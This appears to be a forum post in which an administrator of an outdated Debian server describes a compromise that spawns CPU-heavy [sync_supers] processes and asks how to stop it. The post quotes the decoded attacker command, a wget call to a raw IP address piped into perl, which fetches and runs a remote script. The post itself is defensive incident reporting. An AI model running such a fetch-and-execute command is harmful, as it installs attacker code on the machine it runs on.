I've been noticing over the last couple of weeks that the CPU on our server has been seeing a very high load, upon inspecting htop there have been a number of [sync_supers] processes running at 100%. Today I managed to catch it soon enough that the original command call was still in htop, the image below shows both the call to run the script and the resulting [sync_supers] processes.
Reading the line I could see it was hiding what it's calling using a base64 encoded string, which is the following:
wget -qO - http://220.127.116.11/bt2.txt|perl
The file it's downloading is a perl script that's connecting out to a irc server but I at a quick look (I don't know perl) I'm not sure what it's doing beyond hammering my CPU, although I'm assuming it's bitcoin farming or something. I've tried to find information on how this hack is being performed but I've failed to find anything relieve so far, the closest I've got is it's an mention of an exploit in Apache and older kernel versions but no details or links.
Unfortunately updating the server isn't really a practical option due it being well past the end of life of the OS (it would be simpler to get a new server and copy all our software and website over). This is my fault for not keeping the server up to date to begin with and I fully acknowledge that.
Linux version 2.6.32-5-amd64 (Debian 2.6.32-35) ([email protected]) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Tue Jun 14 09:42:28 UTC 2011
I need links to relevant resources of the attack, how to block it without playing wackamole with IP addresses, etc. My best current solution is rename wget to something else, I considered writing a script to run every minute to killall [sync_supers] running on www-data but killall can't find that process when it's running and looking at the perl script they could just change the process name.